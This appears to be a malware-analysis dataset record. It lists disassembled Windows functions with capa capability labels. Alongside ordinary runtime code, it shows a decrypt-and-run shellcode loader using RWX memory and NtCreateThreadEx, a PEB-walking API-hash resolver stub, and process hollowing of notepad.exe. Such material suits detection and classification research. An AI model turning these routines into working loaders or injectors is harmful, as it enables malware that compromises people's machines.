joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401728
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.GetMainModule_void_
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x30]
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov r9d, 0x18
mov r8, rcx
mov rcx, rax
call sym.GetModuleInformation
mov rax, qword [rbp - 0x30]
mov rdx, rax
lea rcx, str.Base_Address:_0x_llu_n
call sym.printf_char_const__::_
mov eax, dword [rbp - 0x28]
mov edx, eax
lea rcx, str.Image_Size:____u_n
call sym.printf_char_const__::_
mov rax, qword [rbp - 0x20]
mov rdx, rax
lea rcx, str.Entry_Point:__0x_llu_n
call sym.printf_char_const__::_
lea rcx, [0x0040a0d4]
call sym.printf_char_const__::_
mov rax, qword [rbp - 0x30]
mov rdx, rax
mov rax, qword [rbp + 0x10]
mov qword [rax], rdx
mov eax, dword [rbp - 0x28]
mov edx, eax
mov rax, qword [rbp + 0x18]
mov qword [rax], rdx
mov eax, dword [rbp - 0x28]
mov ecx, eax
mov rax, qword [rbp - 0x30]
lea rdx, [rbp - 0x34]
mov r9, rdx
mov r8d, 0x40
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov eax, 0
add rsp, 0x60
pop rbp
ret

Function at 0x4019f1
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xd0], 0
mov dword [rbp + 0xcc], 1
lea rdx, [rbp - 0x40]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov dword [rbp - 0x44], 0x104
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov dword [rbp + 0xdc], eax
cmp dword [rbp + 0xdc], 0
je 0x401a80
mov eax, 0xffffffff
jmp 0x401afc
mov rax, qword [rbp + 0xd0]
lea rcx, [rbp + 0xcc]
lea rdx, [rbp - 0x44]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
lea rdx, str.ProductName
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
mov dword [rbp + 0xdc], eax
cmp dword [rbp + 0xdc], 0
je 0x401ae5
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 0xffffffff
jmp 0x401afc
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
movzx eax, byte [rbp - 0x40]
add rsp, 0x168
pop rdi
pop rbp
ret
Function at 0x401b06
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xa0
call sym.__main
call sym.getKey__
mov byte [0x0040d030], al
mov rax, qword [0x004093a0]
mov rdx, rax
lea rcx, [0x00409020]
call sym.decrypt_unsigned_char__unsigned_long_long_
mov byte [rbp - 0x20], 0x74
mov byte [rbp - 0x1f], 0
mov byte [rbp - 0x1e], 0
mov byte [rbp - 0x1d], 0x7a
mov byte [rbp - 0x1c], 0x74
mov byte [rbp - 0x1b], 0
mov byte [rbp - 0x1a], 0
mov byte [rbp - 0x19], 0x7a
mov byte [rbp - 0x28], 0xf
mov byte [rbp - 0x27], 5
mov byte [rbp - 0x26], 0x90
mov byte [rbp - 0x25], 0x90
mov byte [rbp - 0x24], 0xc3
mov byte [rbp - 0x23], 0x90
mov byte [rbp - 0x22], 0xcc
mov byte [rbp - 0x21], 0xcc
lea rdx, [rbp - 0x28]
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.FindAndReplace_unsigned_char__unsigned_char_
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x38], 0
lea rdx, [rbp - 0x30]
mov rax, qword [rbp - 8]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [0x004093a0]
mov r8d, 0
mov rcx, rax
call sym.NtAllocateVirtualMemory
mov dword [rbp - 0x10], eax
mov rcx, qword [0x004093a0]
mov rdx, qword [rbp - 0x30]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9, rcx
lea r8, [0x00409020]
mov rcx, rax
call sym.NtWriteVirtualMemory
mov dword [rbp - 0x14], eax
mov rdx, qword [rbp - 0x30]
mov rcx, qword [rbp - 8]
lea rax, [rbp - 0x38]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0x20000000
mov rcx, rax
call sym.NtCreateThreadEx
mov dword [rbp - 0x18], eax
mov rax, qword [rbp - 0x38]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
add rsp, 0xa0
pop rbp
ret
Function at 0x402330
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rsi, rcx
mov ecx, dword [0x0040d624]
mov rdi, rdx
mov rbp, r8
test ecx, ecx
jle 0x402448
mov rax, qword [0x0040d628]
xor ebx, ebx
add rax, 8
mov rdx, qword [rax]
cmp rsi, rdx
jb 0x40237c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rsi, rdx
jb 0x40242e
add ebx, 1
add rax, 0x18
cmp ebx, ecx
jne 0x402360
mov rcx, rsi
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x402480
movsxd rbx, ebx
lea rbx, [rbx + rbx*2]
shl rbx, 3
mov r13, rbx
add r13, qword [0x0040d628]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call sym._GetPEImageBase
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
mov qword [r13 + 8], rax
mov rax, qword [0x0040d628]
lea rdx, [rsp + 0x20]
mov rcx, qword [rax + rbx + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x402463
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x402427
sub eax, 4
and eax, 0xfffffffb
je 0x402427
add rbx, qword [0x0040d628]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x40244f
add dword [0x0040d624], 1
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sym.memcpy
xor ebx, ebx
jmp 0x402387
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov rax, qword [0x0040d628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rbx + 8]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rsi
call sym.__report_error
nop

Function at 0x402c00
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0040d900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0040d8e0]
test rbx, rbx
je 0x402c54
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x402c4b
test rsi, rsi
je 0x402c4b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402c30
lea rcx, [0x0040d900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402e90
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402ea0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402eb0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402ef1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402ee8
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x402ef3
add rax, 0x28
cmp rax, r9
jne 0x402ed4
xor eax, eax
ret
Function at 0x402f90
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x0040a880]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
je 0x402fb0
mov rax, rdx
add rsp, 0x28
ret
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402fa8
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add rax, r9
movzx edx, word [rax + 0x14]
lea rdx, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x40300d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x403004
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x402fa8
add rdx, 0x28
cmp rdx, r9
jne 0x402ff0
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret

Function at 0x403120
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x0040a880]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x403140
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403138
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40319d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x403194
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4031a4
add rax, 0x28
cmp rax, r9
jne 0x403180
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x4031c0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x0040a880]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
je 0x4031e1
mov rax, r9
add rsp, 0x28
ret
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4031d9
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x4031d9
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x4031d9
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov rcx, r9
jb 0x403234
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x403250
add rdx, 0x28
cmp rdx, r10
jne 0x403220
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jne 0x403268
jmp 0x40323d
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x403276
mov edx, dword [rax + 0xc]
test edx, edx
je 0x40323d
test r8d, r8d
jg 0x403260
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret
Function at 0x403fc0
Capabilities:
Query environment variable

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12d, 1
sub r8d, 1
mov edi, ecx
mov ecx, 0x66666667
mov eax, r8d
mov rbp, rdx
movsxd rsi, r8d
imul ecx
sar r8d, 0x1f
mov rbx, r9
mov ecx, edx
sar ecx, 2
sub ecx, r8d
je 0x404015
mov r8d, 0x66666667
nop dword [rax]
mov eax, ecx
sar ecx, 0x1f
add r12d, 1
imul r8d
sar edx, 2
sub edx, ecx
mov ecx, edx
jne 0x404000
mov edx, dword [rbx + 0x2c]
cmp edx, 0xffffffff
je 0x404090
mov ecx, dword [rbx + 0xc]
cmp r12d, edx
mov r9, rbx
mov r8d, 1
cmovl r12d, edx
lea edx, [r12 + 2]
mov eax, ecx
sub eax, edx
cmp ecx, edx
mov edx, 0xffffffff
cmovle eax, edx
mov ecx, edi
mov rdx, rbp
add r12d, 1
mov dword [rbx + 0xc], eax
call sym.__pformat_emit_float
mov ecx, dword [rbx + 8]
mov rdx, rbx
mov eax, dword [rbx + 0x2c]
mov dword [rbx + 0x10], eax
mov eax, ecx
and ecx, 0x20
or eax, 0x1c0
or ecx, 0x45
mov dword [rbx + 8], eax
call sym.__pformat_putc
mov rdx, rbx
mov rcx, rsi
add dword [rbx + 0xc], r12d
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp sym.__pformat_int.isra.0
mov eax, dword [0x00409420]
cmp eax, 0xffffffff
je 0x4040bc
test eax, eax
je 0x4040ac
mov edx, 2
mov dword [rbx + 0x2c], edx
jmp 0x40401d
call sym._get_output_format
mov edx, 3
test al, 1
jne 0x40409f
jmp 0x4040a4
lea rcx, str.PRINTF_EXPONENT_DIGITS
call sym.getenv
test rax, rax
je 0x4040e4
movsx eax, byte [rax]
sub eax, 0x30
cmp eax, 2
setbe al
movzx eax, al
mov dword [0x00409420], eax
jmp 0x40409b
xor eax, eax
jmp 0x4040d9
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
push rcx
push rsi
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
push r9
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov r8d, dword [rax + 0x20]
mov ecx, dword [rax + 0x18]
add r8, rdx
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
pop r8
pop rsi
pop rcx
add rax, rdx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140002238
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [0x140003598]
test rax, rax
je 0x140002282
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002282
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002282
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002282
cmp dword [rcx + 0x84], 0xe
jbe 0x140002282
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002284
xor al, al
add rsp, 0x28
ret
Function at 0x40313e
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [0x0042a200]
test rax, rax
je 0x403151
call rax
mov ecx, 2
call qword [fcn.0041beb0]
mov r8d, 0xe
mov edx, 1
lea rcx, str.out_of_memory_n
mov rbx, rax
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rcx, rbx
call sub.msvcrt.dll_fflush
mov ecx, 1
call sub.msvcrt.dll_exit
nop
Function at 0x40b470
Capabilities:
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push r12
mov eax, 0x1110
push rbp
push rdi
push rsi
push rbx
call fcn.004161e0
sub rsp, rax
xor ebx, ebx
xor r9d, r9d
xor r8d, r8d
mov eax, ebx
mov rsi, rcx
mov ecx, 0x1a
mov rbp, rdx
mov dword [rsp + 0x54], 0
lea rdi, [rsp + 0xa8]
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x60]
mov ecx, 6
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x78]
mov ecx, 0xc
rep stosd dword [rdi], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x40], rax
lea rdx, str.c:windows_system32_notepad.exe
mov dword [rsp + 0x28], 4
lea rdi, [rsp + 0x110]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x54]
xor edx, edx
lea r8, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
call sub.ntdll.dll_NtQueryInformationProcess
lea r8, [rsp + 0x58]
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x58], 0
mov rcx, qword [rsp + 0x60]
mov r9d, 8
mov qword [rsp + 0x20], 0
mov r12, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea rdx, [rax + 0x10]
call r12
mov eax, ebx
mov ecx, 0x400
mov rdx, qword [rsp + 0x58]
rep stosd dword [rdi], eax
lea r8, [rsp + 0x110]
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
call r12
mov r9, rbp
mov r8, rsi
mov rcx, qword [rsp + 0x60]
movsxd rax, dword [rsp + 0x14c]
mov edx, dword [rsp + rax + 0x138]
mov qword [rsp + 0x20], 0
add rdx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
add rsp, 0x1110
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [0x00424430]
movsxd rdx, dword [rax]
mov rax, qword [0x00424420]
mov rcx, qword [rax]
jmp 0x40b470
sub rsp, 0x28
call fcn.0040b5f2
nop
add rsp, 0x28
jmp 0x40b607
Function at 0x40b607
Capabilities:
Use process replacement

Disassembly:
push r12
mov eax, 0x1110
push rbp
push rdi
push rsi
push rbx
call fcn.004161e0
sub rsp, rax
xor ebx, ebx
xor r9d, r9d
xor r8d, r8d
mov eax, ebx
mov rsi, rcx
mov ecx, 0x1a
mov rbp, rdx
mov dword [rsp + 0x54], 0
lea rdi, [rsp + 0xa8]
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x60]
mov ecx, 6
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x78]
mov ecx, 0xc
rep stosd dword [rdi], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x40], rax
lea rdx, str.c:windows_system32_notepad.exe
mov dword [rsp + 0x28], 4
lea rdi, [rsp + 0x110]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x54]
xor edx, edx
lea r8, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
call sub.ntdll.dll_NtQueryInformationProcess
lea r8, [rsp + 0x58]
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x58], 0
mov rcx, qword [rsp + 0x60]
mov r9d, 8
mov qword [rsp + 0x20], 0
mov r12, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea rdx, [rax + 0x10]
call r12
mov eax, ebx
mov ecx, 0x400
mov rdx, qword [rsp + 0x58]
rep stosd dword [rdi], eax
lea r8, [rsp + 0x110]
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
call r12
mov r9, rbp
mov r8, rsi
mov rcx, qword [rsp + 0x60]
movsxd rax, dword [rsp + 0x14c]
mov edx, dword [rsp + rax + 0x138]
mov qword [rsp + 0x20], 0
add rdx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
add rsp, 0x1110
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [0x00424430]
movsxd rdx, dword [rax]
mov rax, qword [0x00424420]
mov rcx, qword [rax]
jmp 0x40b470
sub rsp, 0x28
call fcn.0040b5f2
nop
add rsp, 0x28
jmp 0x40b607
Function at 0x40b622
Capabilities:
Use process replacement

Disassembly:
push r12
mov eax, 0x1110
push rbp
push rdi
push rsi
push rbx
call fcn.004161e0
sub rsp, rax
xor ebx, ebx
xor r9d, r9d
xor r8d, r8d
mov eax, ebx
mov rsi, rcx
mov ecx, 0x1a
mov rbp, rdx
mov dword [rsp + 0x54], 0
lea rdi, [rsp + 0xa8]
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x60]
mov ecx, 6
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x78]
mov ecx, 0xc
rep stosd dword [rdi], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x40], rax
lea rdx, str.c:windows_system32_notepad.exe
mov dword [rsp + 0x28], 4
lea rdi, [rsp + 0x110]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x54]
xor edx, edx
lea r8, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
call sub.ntdll.dll_NtQueryInformationProcess
lea r8, [rsp + 0x58]
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x58], 0
mov rcx, qword [rsp + 0x60]
mov r9d, 8
mov qword [rsp + 0x20], 0
mov r12, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea rdx, [rax + 0x10]
call r12
mov eax, ebx
mov ecx, 0x400
mov rdx, qword [rsp + 0x58]
rep stosd dword [rdi], eax
lea r8, [rsp + 0x110]
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
call r12
mov r9, rbp
mov r8, rsi
mov rcx, qword [rsp + 0x60]
movsxd rax, dword [rsp + 0x14c]
mov edx, dword [rsp + rax + 0x138]
mov qword [rsp + 0x20], 0
add rdx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
add rsp, 0x1110
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [0x00424430]
movsxd rdx, dword [rax]
mov rax, qword [0x00424420]
mov rcx, qword [rax]
jmp 0x40b470
sub rsp, 0x28
call fcn.0040b5f2
nop
add rsp, 0x28
jmp 0x40b607
Function at 0x415280
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x0042a844]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x415408
mov rax, qword [0x0042a848]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x4152cc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x415355
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x4152b0
mov rcx, rbx
call fcn.00415f20
test rax, rax
mov r12, rax
je 0x41543d
mov rax, qword [0x0042a848]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.00416050
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0042a848]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x415420
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x41534e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x4153b0
add dword [0x0042a844], 1
cmp edi, 8
jae 0x415383
test dil, 4
jne 0x4153f4
test edi, edi
je 0x415378
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x41540f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x415378
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x41539c
jmp 0x415378
add rsi, qword [0x0042a848]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x41534e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.0041edb0
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x415378
xor esi, esi
jmp 0x4152d7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x415378
mov rax, qword [0x0042a848]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.0041edb0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.0041edb0
nop
nop dword [rax]

Function at 0x415b90
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0042ab20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0042ab00]
test rbx, rbx
je 0x415be4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x415bdb
test rsi, rsi
je 0x415bdb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x415bc0
lea rcx, [0x0042ab20]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]